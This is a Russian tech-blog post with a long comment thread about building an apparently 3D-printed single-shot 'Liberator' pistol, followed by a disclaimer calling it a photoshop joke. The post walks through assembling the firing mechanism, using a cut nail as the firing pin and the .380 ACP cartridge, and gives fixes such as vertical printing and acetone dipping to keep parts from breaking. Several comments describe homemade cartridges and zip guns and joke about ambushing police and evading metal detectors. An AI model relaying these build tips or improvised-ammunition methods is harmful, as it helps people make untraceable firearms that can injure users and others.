Можно заметить, что отверстие в центре не круглое, а с зацепом. Им улитки крепятся за рамку для защиты от проворота при выстреле. Вот так, с одной и с другой стороны:

Далее они соединятся вот этими двумя деталями:

Вот как их назвать, я точно не знаю. Служат они для крепления боевой пружины к курку. Для чего их две, причем одна свободно вращается на другой — я не знаю. В первые разы внутренняя деталь ломалась почти после каждого выстрела, помогла печать с установкой детали вертикально(чтобы слои печатались перпендикулярно оси) и окунание в ацетон. Кстати, непрезентабельный внешний вид пружен тоже связан с ацетоном — я немного недосушил детали и под верхней пленкой образовалось пространство. На характеристики это не влияет.
Вот так выглядит ударно-спусковой механизм в сборе:

Теперь можно взять вот эти три штифта и установить его в рамку:

Штифты входят с усилием, но пальцем это сделать вполне возможно:


Пистолет почти собран, остался только ствол:

Один пережил окунание в ацетон, а второй оставлен так как напечатался, контрольная группа:


Вот механизм в сборе:

При нажатии на курок, он оттягивает боевую пружину и входить в зацепление с шепталом:

И теперь только и ждет нажатия крючка, чтобы ударить со всей силы по ударнику(он должен быть на месте дырки в рамке спускового механизма):

Ударник представляет собой гвоздь, обрезанный до такой длинны, чтобы курок ударив по нему, передал усилие удара на капсуль патрона(он, кстати, вставляется в ствол)

Стреляем:


Дисклеймер

Все фотографии, приведенные выше — плод работы в фотошопе и 3дмаксе, а текст — выдумка. Мы не печатали пистолет, а просто пошутили. Да-да, пошутили. *зловещий смайлик*

Напоминаю, что подписаться, чтоб не пропустить новые обзоры и статьи можно на странице компании(кнопка «подписаться»), или в вашей любимой социальной сети: Вконтакте, в Гугл+, в Твиттере
Кстати, если какая-нибудь компания предложит мне поиграться 3д-принтер, я не буду против. С вас принтер, с меня — статья.
dioneo
А не могли бы вы быстренько нафотошопить видео, где он не стреляет не по жестяной банке (:
vvzvlad
Если бы мне кто-нибудь нафотошопил картинку патрона, то я бы и видео сфотошопил.
ooprizrakoo
Какой калибр у этого нарисованного пистолета? .22? .223?
Стреляет самовзводом? Как производить экстракцию гильзы?
vvzvlad
Насколько я понял, .38. Самовзводом — это когда взводит курок после выстрела? Нет. Гильза, я так подозреваю, извлекается вместо со стволом, который меняется при каждом выстреле.
ooprizrakoo
«самовзводом» — это когда курок взводится в момент нажатия на спусковой крючок.
Противоположность этому способу, это когда курок сначала взводится и встает на боевой взвод.
В первом случае усилие для выстрела надо сделать заметно большее, поэтому прицельная стрельба самовзводом в жизни не практически не применяется. А с боевого взвода если стрельба, то там легкого осторожного нажатия достаточно для выстрела, так что не сбивается прицел при этом.
vvzvlad
А, нет, тогда с боевого взвода. Хотя какая тут прицельная стрельба…
Добавил гифку процесса.
vvzvlad
Патрон используется .380 ACP, у нас он называется служебный 9х17К.
Chesheer
Температура гильзы после выстрела невелика, так что возможно, что извлекать целиком со стволом необходимости нет. Просто заменить гильзу на патрон с помощью шомпола (стержня ручки или гвоздя может хватить, полагаю).
P.S.: после отстрела из Глока 17 (9х19) гильзы чуть теплые были, можно было сразу в руки брать а тут калибр меньше, так что может греться будут еще меньше.
kibitzer
Скорее ствол не выдерживает многократные выстрелы. Происходит его деформация, и повторный выстрел из него, будет опасен для стреляющего.
Flammar
Иезуиты в своём «социалистическом» государстве на территории нынешнего Парагвая вооружали подведомственных индейцев одноразовыми ружьями с деревянными стволами…
Yareactor
9x19 Luger
veam
У нас не так просто достать патроны, как в США.
smind
я когда учился в школе, сам делал патроны для мелкашки, из использованных гильз, шариков (от подшибника) бертолетовой соли (из хлопушки) и пороха. Ружьё напечатал из доски и медной трубки засунутой в стальную… с затворным механизмом больше всего возился.
с 15 метров попадал в лампочку…
т.к. за затворную часть был сильно не уверен, то после нескольких выстрелов прекратил эксплуатацию…
unwrecker
подшибника?!
Dyton
потшибника! :)
pima
Я тоже делал мини-ружьё. Из палки и тонкостенной трубки от телевизионной антенны. В качестве пороха использовал спичечную серу. Многие наверное ей баловались в детстве. Стрелял тем, что под руку попадет, пока трубка при передозировке «пороха» не разлетелась и её кусок не попал в руку товарища, а мелкие части нам в лицо. Все живы-здоровы остались.
KolibriCode
Спасибо за то, что нашли мне занятие на выходные.
pima
Будьте осторожны. Так можно и без глаз остаться и без рук.
klubben
Можно использовать монтажные патроны
Chesheer
Напечатайте тоже! Какая проблема? ;)
Equillibrium
«наафтерэффектить»!
AdamZ
Для всех. Взял модель, натянул текстуру, отрендерил, а потом вставил в фотки пустого стола (:
vvzvlad
adobe и autodesk интересуются наличием лицензии на их продукты, использованные при составлении вышеприведенных материалов
Koroed
Причём в комментах на хабре.
x256
Да, надо было таки Гимпить и блендерить.
RankoR
Так про фотошоп же тоже шутка была. Это на самом деле и был Гимп.
ozgg
А где вы видели Photoshop? Автор распечатал скриншоты с интернета, и ручкой в них работал.
IDMan
Фотошоп тоже был распечатан, содержимое диска появилось благодаря шероховатостям, полученным в результате печатания абсолютно случайно и авторства не имеет.
darkfrei
Выглядит всё достаточно реалистично! Респект!
AdamZ
Отлично отрендерили!)
asko_o
Нафотошопили бы ствол без отверстия, и не пришлось бы фотошопить )
Krypt
В статье написано, что рендер «UP!» от компании 3DPHOME. ;) Хорошо рендерит, с максимальной реалистичностью.
kvaps
Натридемаксите и отафтерэфектте демку с испытанием. В вычислительных мощностях сейчас особых проблем нет, мы поймем если рендер будет довольно реалистичным.
Biga
У меня нет 3д модели патрона, а без этого моделирование будет неполным.
Whiteha
она стоит порядка 2х долларов. да ладно вам…
vvzvlad
В РФ еще и лицензия нужна вообще-то. И калибр пока еще редкий у охотников
SilentImp
Вы бы рискнули выстрелить? Ствол не разорвет?
si1v3r
Ну опять же, эксперемент то проводится в пакете моделирования и анимации. Можно еще например замоделить тиски для удержания модели освободителя и веревку к курку. Ну и собственно анимацию дергания за веревку сделать.
dkukushkin
тиски и веревка.
DMinsky
Вы про Почту России? Серьезно?
si1v3r
сгниёт
SilentImp
Гораздо хуже будет, если сгорит.
Psy_Nejumi303
Зато эффектно.
zhzhitel
Запрещено Почтой России пересылать эдакие 3D модели. Да и статью за оборот реалистичных моделей схлопотать — нефиг делать.
Vokabre
(я буду обновлять комментарии)
Yareactor
Схоронил
kriokamera
Ну вот, хотел подписаться на блог, а вдруг оказалось, что уже подписан. Спасибо за обзор и качественный фотошоп, а то я даже сразу не заметил!
argos
Пхехехе… в детстве у меня было много таких пистолетов.
STFBEE
А у вас остались живые друзья?
Arterius
а по его аватарке не видно? -)
vvzvlad
Подозреваю, что заполнение надо было настроить на максимум, но я этого не сделал.

на рамке появились пара трещин

Хотелось бы конечно глянуть на момент выстрела такого «пистолета» и то, что осталось от очень_короткоствола_из_пластика после =)

Я читал дисклеймер, но давайте сделаем вид, что его не было =)
kaichou
Да ясно что он развалится. Вопрос в том, сможет ли пуля вылететь в требуемом направлении, или перекособочит еще до этого.
Frink
Ну вот поэтому я и сказал про «момент выстрела» по этому моменту и видно будет, застрелится ли стрелок или пуля полетит хотя бы в сторону от него =) а то шарахнет, гильзу в одну сторону а пулю в другую, при том так, что энергии пули хватит лишь на листок бумаги в 5 метрах, а гильза вышибет глаз стрелку =) Я конечно утрирую, но суть думаю ясна…
vvzvlad
Ну, если бы я моделировал выстрел из пистолета, я бы смоделировал веревочку, которая дергает крючок, и себя, защищенного чем-нибудь толстым и прочным.
Frink
vvzvlad, ну… я же сказал про «утрирую», ясное дело, что из этого «чуда» можно стрелять только со станка. Кстати при моделировании всё-же было бы здорово сделать именно стрелка(человека), дабы увидеть какие повреждения будут нанесены ему =)
vvzvlad
Какой вы добрый.
Frink
Я называю это — практичный ;)
vvzvlad
Как разрушители тестируют — манекен из геля.
Frink
Можно сделать похожий гель из крахмала и воды. Только сперва крахмал надо нарендерить
intnzy
А что, у нас, таки, и крахмал уже запретили? Картошку теперь тоже рендерить будем?
Robotex
Думаю пуля успеет улететь. Ствол подплавится после. И судя по толщине ствола — он выстрел переживет. При такой длине. Пластиковые и картонные гильзы у охотничьих патронов не выгорают, а там весь заряд сгорает.
WildHorn
Я сейчас рискую облажаться, но насколько я понимаю, пластиковые и картонные гильзы у охотников не выгорают потому, что рядом с ними — стальной ствол, теплоемкость которого достаточно велика, чтобы принять тепловую энергию заряда (я сейчас сам на себя зафейспалмил, да) и не дать картонке-пластику сильно нагреться. Тот же эффект описан у Перельмана в «Занимательной физике», когда он предлагает сварить яйцо (вскипятить воду) в бумажном стакане на открытом огне.
AYrm
Теплопроводность картона и пластика не высока. Если смотреть на отстрелянную гильзу — внутри немного обожжена, но годна для повторного использования.

У меня есть револьверный патрон, если попадутся трубка подходящего диаметра и толщины — могу попробовать. Есть много от M16… Но это совсем не пистолетный калибр. Хотя тоже интересно посмотреть что получится при коротком стволе.
vasilyev
Я так подозреваю, что основное тепло выходит с пороховыми газами, а ствол защищает от разрыва гильзы, а не от нагрева.
AYrm
А гвоздь, который в качестве ударника, где окажется после выстрела?
vvzvlad
Там и останется. Он же капсуль стукнет, а не сам заряд.
Biga
Вы забыли написать, что исходники 3d MAX удалили безвозвратно :)
vvzvlad
Главное, чтобы интернет не удалил. А то ведь где он их взял — в интернете. Нарушает-с.
ha2bj
А не пробовали отрендерить к нему глушитель?
kaichou
Судя по «надежности» конструкции, руку для выстреливания тоже лучше напечатать.
hyperwolf
Тогда уж лучше отрендерить.
dimakey
А разве с чертежами пистолета макарова (того который из 32 деталей) не идет чертеж патрона 9х18 мм?
nochkin
Скачаете чертеж от 9мм травматического пистолета и перепечатайте ствол под 9 мм. :-)
sparksounds
Чуть выше автор «рисунка» говорит, что у пистолета .38-й калибр. Это как раз и есть 9 мм.
AYrm
Хотел написать патрона, а не пистолета. Короче их достать проще. А стрельнув резиновой пулей риска намного меньше и можно попробовать даже в помещении.
ooprizrakoo
Это пластиковое чудо сделано под револьверный патрон .38 sw short кольцевого воспламенения. Патрон .38 ACP там держать нечему
AYrm
Если кому интересно, вот собственно видео. Жалко не авторское, и видимо снято в стране где 3dmax для такого не нужен =( Эта версия с металлическими штифтами и нарезным стволом. Как видим, ничего никуда не улетает, кроме как пули в нужном направлении. Опять же, калибр 9мм ака .38.
NickyX3
Интересно, пластиковый нарезной ствол сможет деформировать оболочку или оболочка пули сгладит нарезку после первого же выстрела?
sparksounds
Там нет нарезки. Да и не думаю, что пластиковая нарезка устоит перед пулей. Это по сравнению с металлом ствола свинец мягкий, а пластиковые каналы он срежет тупо.
vasilyev
В статье-источнике к этому видео, сказано, что ствол таки нарезной, цитирую: «I may be the first person in the history of mankind to fire a bullet through a plastic rifled barrel.». Какой смысл от пластиковой нарезки правда, не совсем ясно. Может ее все же хватает на один раз, придать вращение.
vvzvlad
Судя по всему, стрелять он может долго с одним стволом. Как минимум два выстрела подряд в одном несклееном фрагменте было, да и похоже, что ствол не меняли вообще за все время стрельбы.
sparksounds
В описании видео, автор написал, что с одним стволом было сделано 8 выстрелов, для 9 ствол заменили.
kriokamera
Интересно, после этого ствол можно отправить в переплавку или только выкинуть?
sparksounds
Магнето в печали.

Flammar
Магнето хватит и бойка из гвоздя.
YourDestiny
вырежем боек из керамики
yul
А гильзу из бумаги.
DIHALT
Да можно и не заморачиваться. Ствол все равно одноразовый. Так что будет ствол-патрон. А вся комплектуха (капсюль, заряд, шарик мраморный в качестве пули;) ) укладывается в него по мере печати.
darkfrei
Не хватит. Хотя, судя по фильму, Магнето способен чудесным образом придавать магнитные свойства даже растворам.
DIHALT
Это где такое было?
Dyton
Когда он из стеклянной тюрьмы сбежал.
vvzvlad
Из пластиковой, емнип. И то там охраннику предварительно ввели взвесь чего-то магнитного, иначе ничего не получилось бы — к нему толпы народу ходили до этого.
Dyton
Молодцы парни. Но советую после статьи уничтожить улику. Видите ли незаконное изготовление огнестрельного оружия. Можно реально сесть, тем более на посещаемом сайте опубликовали.
vvzvlad
Картинки уж слишком похожи на игрушечный пистолет… Погодите, это же он и есть
wartur
Кстати, мне кажется, современный китайский игрушечный автомат с лампочками, который кричит «батарея огонь! пиу-пиу-пиу!» — просто таки невероятно сложнее этой фигульки. Вообще как-то не задумывался, но ощущение было, что пистолет все таки гораздо сложнее.

Ну ладно это несерьезное непойми-что. Но макаров, который всего-то в два раза сложнее.
wartur
Макаров не в два раза сложней. Другие материалы, другие технологии, другая точность изготовления деталей.
kurumpa
Разумная простота. Боюсь, что отпечатать на современном домашнем принтере что-то заметно более сложное так, чтобы оно было еще и надежным — почти невозможно
xenon
Бойка нет, характеристики никакие, корпус весь в трещинах.
vasilyev
Если он может выстрелить ОДИН раз — этого достаточно, чтобы посчитать его оружием
logan
По ГОСТу — это изделие из поста — учебное стрелковое оружие
egormerkushev
С помощью молотка и пассатижей тоже можно выстрелить один раз при наличии патрона.
logan
Если молоток и пассатижи сконструированы именно для выстрела (это их основное назначение) — здравствуй суд.
egormerkushev
Сколько стоило электричество для фотошопа и прочие расходники?
nikitosk
Unbiased-рендереры и не такое умеют.

Скрытый текст
logan
Кстати, рендерер этого шарфика распространяется под GPL v3 и доступен для всех трех популярных платформ.
www.mitsuba-renderer.org/download.html

Там ещё много впечатляющих примеров.
ilvar
Этот?
Картинка

soulburner
Если вам не очевидно, что это именно рендер — то вот пруфлинк.
mwizard
Примечание. Лицо, добровольно сдавшее предметы, указанные в настоящей статье, освобождается от уголовной ответственности по данной статье.

Можно, используя это примечание, вполне легально и профессионально снять ТТХ и выложить отчет.
Deeman
Без консультации профессионального юриста (а в наших краях — ещё и связей в ментовке, на всякий случай) я бы поостерёгся под любым соусом показывать такую штуку людям в форме, что бы там ни было написано в одной из статей одного из кодексов.
Valery4
Не, не один, там сверху ещё такой есть. Двое вас.
ilya42
на ганзе я думаю вам быстро нужный патрон нарисуют )
janatem
Люфтов в конструкции столько, что стрелять имеет смысл только в упор.
ilya42
Ну, FP-45 Liberator, в честь которого и назван этот, имел эффективную дальность 1-4 метра. И тоже был однозарядным. Кстати, оригинал комплектовался 10 патронами. Судя по ютубу, этот может выдержать восемь.

По сути это оружие последнего шанса.
BoltThrower
оружие последнего шанса

Последний патрон — себе?
Scratch
Или попадешь в цель, или попадешь.
TheDeadOne
Мушки нет, все в порядке
Oblitus
Да, а учитывая, что патрон один всё сразу становится на свои места. Тут тебе и безопасность рук, и точность…
Int_13h
Мне это напоминает самое начало развития огнестрельного оружия… Все иронично улыбались, типо пока вы свой порох в ствол засыпать будете, утрамбовывать, пыж да пулю вставлять, мы уже раза три по вам из арбалета выстрелим.
А тут уже сразу прогресс… дуэльный пистолет!
Oblitus
пока что скорее для русской рулетки :)
logan
Русская рулетка для одного: разорвет или не разорвет.
AndreyF
В инете нашёл, что огнестрельное оружие не вытесняло холодное метательное, пока не появились замки, позволяющие долго держать огнестрельное оружие готовым к немедленному применению — колесцовый и, затем, кремниевый замок. Стрелки с таким оружием могли немедленно начать отстреливаться при внезапном нападении. Арбалет и лук нельзя держать постоянно натянутым без угрозы потери ими своих боевых свойств. И изготовление боеприпасов намного менее трудоёмко.

+ ещё вопрос, что быстрее заряжается — мушкет или арбалет.
ded_Sergei
Арбалет со взводным рычагом заряжается быстрее.
Dreammaker
Vokabre
По малолетству (до фильма) пробовал такую смесь, эффект почти равен нулю.
Flammar
и немного математики
1. вес модели 162 г или 0,162 кг
2. цена пластика на сайте производителя 3д принтеров 2400 за 0,7 кг
3. цена изделия 555,42
не дорого для прототипа )
P.S.
4. можно заказать печать на сайте производителе принтеров 40 руб за 1 грамм итого изделие 6480 руб. проще «Осу» взять
darkfrei
На осу нынче лицензия как на гладкоствол.
espanetz
Дорогой у вас пластик. Я на taobao брал по 300 рублей за кило. Правда, доставка стоила столько же, сколько и пластик.
gregox
не у меня а у них
mtop
А вот интересно, какая у него отдача при таком лёгком весе?
veam
Это последнее, о чём вы будете думать, стреляя из него :)
sourcerer
Надеюсь, не как у этого:
mtop
В крупных городах должны быть тиры с боевыми патронами. Если сильно охота испытать, попробуйте к ним заглянуть.
ilya42
Можно ствол перепечатать под строительные патроны. Хотя это не то, но представление будет.
ploop
Да, вы правы. Это будет номер.
yul
а у тиров есть государственные ограничения в деятельности — типа только из зарегистрированного в тире оружия стрелять?
lozga
Такие тиры зарабатывают в том числе и тем, что за денюжку дают стрелять из боевого оружия. Т.е. приходишь в назначенное время, всего лишь с паспортом, и стреляешь в своё удовольствие. Поэтому я не думаю, что будет проблемой договориться, тем более, что им самим наверняка будет интересно, что это за штука. При соблюдении мер безопасности (захватите веревочку для дистанционного спуска) никакими проблемами это им не грозит.
vvzvlad
Тем более у них могут быть стенды для пристрелки и прочих опытов, там как раз и куда зажать есть, и куда спрятаться.
xenon
ДС — достаточно крупный город?
vavy
В миллионной Уфе как минимум один. В ДС их штук десять, наверное :)
lozga
Нижний Новгород. Нет ни одного
ploop
Если то, что обсуждают здесь неверно, тогда вам не повезло. Но такова жизнь — зато у вас есть кремль и, по слухам, лучший в России планетарий.
vvzvlad
У нас в Ижевске с тирами проблем нет =)) В детстве, классе в 5ом, год-полтора ходил тайком от родителей в тир, стрелял из спортивного оружия (огнестрельного), несколько раз из боевого. Система была простая: приходишь в первый раз, на тебя привязывают пистолет по серийному номеру. В след раз приходишь, называешь номер, чистишь, стреляешь, сдаешь. Все бесплатно. Тир тренировочный, для спортсменов, в ФОК. Как сейчас — не знаю, но вряд ли все эти тиры закрыли: спортсменов то много, да и биатлонистам надо где-то тренироваться. Скажу одно — из-за того что в детстве натренировался — до сих пор бью только в 10ку =)

Этой зимой когда приезжал домой в гости, сходил в музей калашникова с друзьями, там в подвале есть тир. Цена выстрела из боевого оружия от 50 до 250р за выстрел, минимум 5 патронов. Парк оружия достаточно большой, есть даже оружие 19го века, есть «слонобойка»(для любителей CS). Стрелял из Драгунова — с непривычки чуть глаз себе оптикой не выбил.
Приезжайте в Ижевск, стреляйте =)
lozga
О, я в конце лета вероятно буду в Ижевске, не подкините адресок тира плиз, чтобы не бегать и не искать там?
Awake
Рядом с центральной площадью, между гостиницей Park Inn и Свято-Михайловским собором. Спросите у любого прохожего «где музей Калашникова?», вас направят, но там сложно ошибиться =)
Кстати, там часто бывает очередь и просят записываться на стрельбу заранее. (совет — записаться заранее, телефон скорее всего тот же, что и по ссылке ниже)

Если нужно, то вот тут есть самая ужасная, которую я когда либо видел, карта по которой ничего не понятно и она больше запутывает, чем помогает: www.museum-mtk.ru/about/contacts/

lozga
В СПБ ходили в тир и стреляли из GSG-5 и CZ-75 (там еще много из чего можно стрелять). Думаю, в Москве проблем тоже не будет. А вот в Архангельске, например, тиров, где можно свободно пострелять — нет. Только спортивные ассоциации.
mitrogaz
патроны подучетные, надо очень-очень попросить.
isden
Посетителя учетность не волнует. Сколько раз ходил, стрелял, сколько патронов попросишь, столько и зарядят, только плати. Жена стреляла — даже пулю подарили.
mitrogaz
Я думал себе пейнтбольный пистолет 43 калибра взять (обычные шары 68) и перцовые шары на алибабе. Не так дешево, но зато никаких разрешений на спортивное обородование, шары могут быть перцовые, резиновые или пейнтбольные с порошком красищим.
skobkin
Блин, я теперь тоже хочу. А на него есть бумажку, что он не является оружием? И где почитать про перцовые шары?
logan
А про «Удар» вы слышали? Не будет ли это проще «перцовых шаров» неизвестной эффективности?
lozga
Нет, только узнал. Немного не то, не выглядит как обычный пистолет, чего хотелось бы добиться, но при такой цене — заказал.
Argons
Да, внешний вид, смахивающий на реальное оружие, тоже немаловажная вещь.
vvzvlad
Тогда надо два аппарата носить.
Один фейковый, похожий на реальный пистолет, доставать и пугать гопников.
А второй гиковый убер-девайс, если сразу не убежали, доставать из кармана и под хохот и улюлюканье гопников расстреливать их перцем )
lozga
Водяной пистолет, похожий на реальный (есть такие), заправленный перцовой смесью :)
vvzvlad
Внешний вид не важен, на самом деле. Эффективность «Удара» достаточно высока, главное использовать не светошумовые бамы к нему, есть бамы с перцовой вытяжкой, очень хорошо останавливают тех кто пытается напасть, проверено.
ploop
Почитал в википедии про него — интересная штука. Но там пишут и про недостатки — перекос патронов, что может вызвать нештатный выброс вещества, заклинивания и осечки. Не сталкивались с подобным?
robux
«Удар» для самообороны — штука отличная. Но, что характерно, ненадёжная. В самый ответственный момент заклинить может.
Проще уж обычный газовый/перцовый баллончик взять. Некрасиво, но эффективно.
ploop
Удар теперь тоже требует разрешения. Кроме того, мощность выстрела сильно упала, злобные патроны с CN надо искать специально.
Ernillew
Давно ли и на каком основании?
isden
Информации про разрешение год, получено от человека, который пытался ее купить.

Информации о злых патронах — 5 лет.
Argons
Механические распылители, аэрозольные и другие устройства, снаряженные слезоточивыми или раздражающими веществами, электрошоковые устройства и искровые разрядники отечественного производства, пневматическое оружие с дульной энергией не более 7,5 Дж и калибра до 4,5 мм включительно, длинноствольное одноствольное старинное (антикварное) огнестрельное оружие, копии длинноствольного одноствольного старинного (антикварного) огнестрельного оружия, реплики длинноствольного одноствольного старинного (антикварного) огнестрельного оружия, старинное (антикварное) холодное оружие, списанное оружие регистрации не подлежат. Граждане Российской Федерации, достигшие возраста 18 лет, имеют право приобретать их без получения лицензии.
(в ред. Федерального закона от 10.07.2012 N 113-ФЗ)

www.consultant.ru/popular/weapon/40_1.html#p98

А продавцы в магазинах могут всякую лапшу вешать, это точно.
WildHorn
Вы уверены, что нигде не ошиблись? получается, что я могу купить себе, скажем, кулеврину или мушкет — без специального разрешения?
logan
Я абсолютно уверен.
Есть особенность: длина оружия регулируется тоже.
А ещё вам придётся (если будете заказывать за рубежом), оформлять разрешение на ввоз.
Но вообще да, можете.

Вот вам ещё тема на guns.ru
nForce
В гугле поискать Pepper ball .43. На том же rap4 но ценник не очень гуманный 25$ на 10 шаров, у китайцев явно дешевле.
logan
Пейнбольные шарики из желатина. Хранить надо в прохладе. С собой не потаскаешь ежедневно. Если размякнут, могут застрять в механизме или лопнуть в стволе.
nForce
По поводу «бумажки» — зависит от того, где покупать. Магазины, специализирующиеся на продаже пневматики, или охотничьи магазины всегда такую бумажку прилагают. С подписью и печатью. Мелкие лавочки (типа «всё для туризма и отдыха») — не всегда. Нужно уточнять по месту.
logan
Прикольная штука! Не знал про такие.
nForce
А с нитроглицерином шары бывают?
Argons
А выронить случайно не боитесь? :)
AYrm
В аптеке продают :)
WildHorn

оно?
ploop
Прямая доставка в сердце! :)
ncix
Суровые в России купидоны.
ploop
Оно самое
logan
На видео получилось сделать 9 выстрелов, правда не сразу.

линк
ncix
Напомнило:



фильм, кстати, 1993 года ))
charliez
Насколько я помню — это керамическое оружие. Ствол там со стальной вставкой. Это очень специализированный предмет.
Vokabre
Не было там стальной вставки. Он, чтобы пули пронести через рамку, спрятал их в брелок на связке ключей, так что любая железка в самом пистолете должна была зазвенеть. А вот насчёт керамики или пластика — не помню уже.
logan
Этот пистолет (именно этот) я видел в музее. Он керамический, 2 заряда, паторны, по-моему, .22LR, торцевое заряжение. У него полимерная пружина, стальной боек и стальная вставка в ствол. В сумме железа в нем грамм на 50, по этому, когда они только появились (70-е) металлоискатель их не видел.
KOLANICH
О как! А я думал это киношная выдумка!
PatapSmile
Нет, это спецслужбы балуются. Конкретно этот, насколько я помню, CIA сделала. Был более совершенный вариант — со встроенным глушителем и 8 зарядами в обойме, он крупнее.
achekalin
Емнип, в СССР что-то подобное тоже делали в 70-х, 2-х зарядное, бесшумное, издалека похожее на пачку сигарет.
logan
МСП, с патронами СП-3. Стрелял из такой штуки.
Скажем так, это оружие — идеально для киллера.
ilya42
Ну Вы и тролль, батенька… Я так надеялся посмотреть как он стреляет. Качество — шик. Даже представить не мог что это не фотки…
logan
Не боитесь что за вами уже выехали? :)
Я все понимаю, «редеринг и фотошоп», но страна то у нас сами знаете какая.
ilya42
Рендер пистолета легко удаляется если его переместить в корзину вместе с тем самым ацетоном.
logan
Жду пулю от вас.
isden
В контексте обсуждения огнестрела фраза «Жду пулю от вас» звучит несколько неоднозначно…
g0dlike
Можете попробовать отрендерить травматический патрон 380 GUM. У него мощность меньше, и калибр должен подойти =)

ну и маленькая поправка «шептало(штука для удержания крючка при взводе)» — шептало — часть УСМ, удерживающая курок или ударник на боевом или предохранительном взводе.
ElMaxo
Ну я вот, например.
jne100
Ну и на какой основании минус?
Vokabre
Ну я например после habrahabr.ru/company/boxowerview/blog/179577/#comment_6264541 не удержался и поставил минус за общую неадекватность и зашкаливающую наглость. Первый пост, который тоже был неадекватен, я списал на плохое настроение / алкогольную интоксикацию / что угодно.
Cudesnik
Ну а разве не смешно, что ТС выложив обзор, делает оговорки, что это всё фотомонтаж?
vvzvlad
Это разумная мера защиты. И повод посмеяться в комментариях, а не стоить унылое лицо в духе «что за цирк»
JDima
Освободитель — это оружие героя-партизана, который ночью в затылок грохнет полицая и снимет с трупа нормальное оружие. Потом выйдет на площадь бороться за правое дело во всеоружии.
keyrus
а топорик или кирпич уже не котируется?
Cudesnik
Ненадежно. В том плане, что нажать на спуск легче, чем правильно ударить.
Cudesnik
На счёт кирпича — возможно, но топорик в любом случае надёжнее сабжа :)
mwizard
Да ладно. Я не уверен, что смогу так ударить топором, чтобы гарантированно вырубить или убить тренированного человека. Пистолет то можно на пивной банке опробовать, сработает или нет.
Cudesnik
который ночью в затылок грохнет полицая

То есть сзади. А это не сложнее, чем подобраться и нажать на курок.
А лицом к лицу, если он вооружен боевым оружием, шансов нет. Конечно, если ты не Чак Норрис :)
JDima
В декабре 1986 года [Сергей Петрович Капица] перенёс неудавшееся покушение «сумасшедшего из Ленинграда»[8] (реставратора, члена общества Память), в результате которого получил травмы. Злоумышленник, приехавший в Долгопрудный, проник в учебный корпус МФТИ, где С. П. Капица читал лекции по общей физике, и во время перерыва в лекции, когда С. П. Капица выходил из аудитории, дважды сзади ударил его туристическим топориком по голове. Капица сумел вырвать топор из рук нападавшего и ударил того обухом топора в лоб. Затем окровавленный Капица с топором дошел до кафедры, попросил вызвать скорую и милицию, после чего потерял сознание. (Капица, Сергей Петрович, болд мой)

Cudesnik
Я не уверен, что смогу так ударить топором
есть хороший мануал:

vvzvlad
Героическим партизаном может быть хрупкая девушка или хлипкий подросток. Против здоровенного полицая кирпич не проканает.
Iforgot
Юзкейс сабжа такой же, как у однозарядных пистолетов 17 века. С высокой долей веростности уменьшить число противников на 1. Топорик или кирпич в этим плане куда менее надёжны.
Nilf
Это когда все равны. А когда у противника современное боевое оружие — только партизанство.
Arcpool
Ну, на скорость первого выстрела конструкция не влияет. И сравнение было с топориком и кирпичом.
vvzvlad
Мощность патрона влияет. Убить или серьезно ранить .22 почти невозможно, особенно — здорового, тренированного мужика. Особенно, если он в броне.
ploop
Я где-то натыкался на информацию, что там .38
vvzvlad
А коктель молотова зажарит только в путь, просто доступно и надежно. Именно он основное оружие партизан.
ploop
Я раньше думал что этот пистолет позволяет обойти металоискатели… но судя по наличию железного гвоздя, в качестве бойка, и патрона — его ценность резко падает.
А в качестве оружия одиночки — есть более эффективные самоделки, вполне поддающиеся ручному изготовлению.

Я так до конца и не понял зачем он вообще нужен. Думаю его сделали из принципа «А можно ли напечатать пистолет на 3д принтере», без каких либо целей и идей…
nezloy
Причем гвоздь (или там металлический болт или какое какое скобяное изделие) вряд ли изымут при досмотре. А вот патрон — да вызовет некоторые подозрения… Я так понимаю что это штука больше поиграть. Это срытая реклама не только 3d принтеров, но и вооруженных сил, где всегда желающим дадут пострелять )
ncix
попросят выложить весь метал, и вы тут извлекаете свой «гвоздь» вплавленный в пистолет… (уж если вы пошли на дело — то врядли захотите производить сборку на глазах у охраны)
Nilf
А зачем вплавлять? Он просто вставляется в нужный момент и все. А один гвоздь в сумке, налитой вещами даже не найдут.
Oblitus
Я вас удивлю, но в вооруженных силах таки стрелять не всем дают. Очень даже многие приходят из армии, имея за спиной настрел в 10-20 выстрелов. По той простой причине, что в призывной армии учат не воевать, а пришивать подворотнички, драить пол, подметать ломом, катать ящики и прочим очень нужным «настоящим мужикам» вещам. Вот, к сожалению, стрелять научить многих призывных забывают.
ploop
Уже обсуждали. Эта тема для обсуждения вечна (как и степень ее горячести)
Oblitus
Ну я вообще про силы обороны и безопасности есть же всякие там органы.
logan
Жесть. Вы не знакомы с системой обороны и силового обеспечения власти собственно страны?
Oblitus
Знаком. Но о структуре подчинения как то не задумывался.
Jammarra
Арбалеты продаются почти в каждом спортивном. Монтажные пистолеты тоже доступны. Оперенный гвоздь (гвоздь, бумага, изолента) из сорбокана (проще всего сделать из лыжной палки) пробивает… вы удивитесть, что. Тема сорбокана раскрыта в одном из фильмов с Чарьзом Бронсоном. Я в детстве сделал под впечатлением от фильма, потом из бетонного потолка выковыривал. А ведь есть еще Spud gun, который если зарядить не картошкой…
Arcpool
Ну вообще да. Гражданское оружие в РФ таки вполне доступно. Есть например почти-обрез ТОЗ-106. А фантазия у вас богатая: армия оппозиции и мятежников =)
nalimka
Ну можно не 6 стволов, а шесть готовых и снаряженных изделий… хотя это все как-то смешно выглядит. Уж если подойти на расстояние выстрела (1-4 м., по-моему, выше писали)…
Arcpool
Да, изделие тогда желательно двухствольное бы…
vvzvlad
Пираты с древними однозарядными пистолями так и делали. Шесть штук в портупее Тича.
BiW
Вроде как суть — с помощью 3d визуализации по-подробней рассказать о деталях и конструкции «либератора».
logan
У вас стол из икеи?
nalimka
Я думаю этот стол был выбран наугад в библиотеке столов для рендера.
BiW
ПыСы. Даю наводку — 9мм Р.А., и конструкция дирринджера. Думайте, российские обладатели 3D принтеров :)
nalimka
Вот мне тоже интересно, никто не пытался отпечатать дерринжер на принтере? Правда, неясно, выдержит ли пластик такие нагрузки. Но конструкция дерринжера — почти идеальна, об этом говорит как минимум тот факт, что дерринжер без модицификаций выпускается более сотни лет.
voidlizard
Дерринжер заряжается специальными патронами, калибр 11.45мм. Форма тоже специальная, думаю PA тут не подойдут.
nalimka
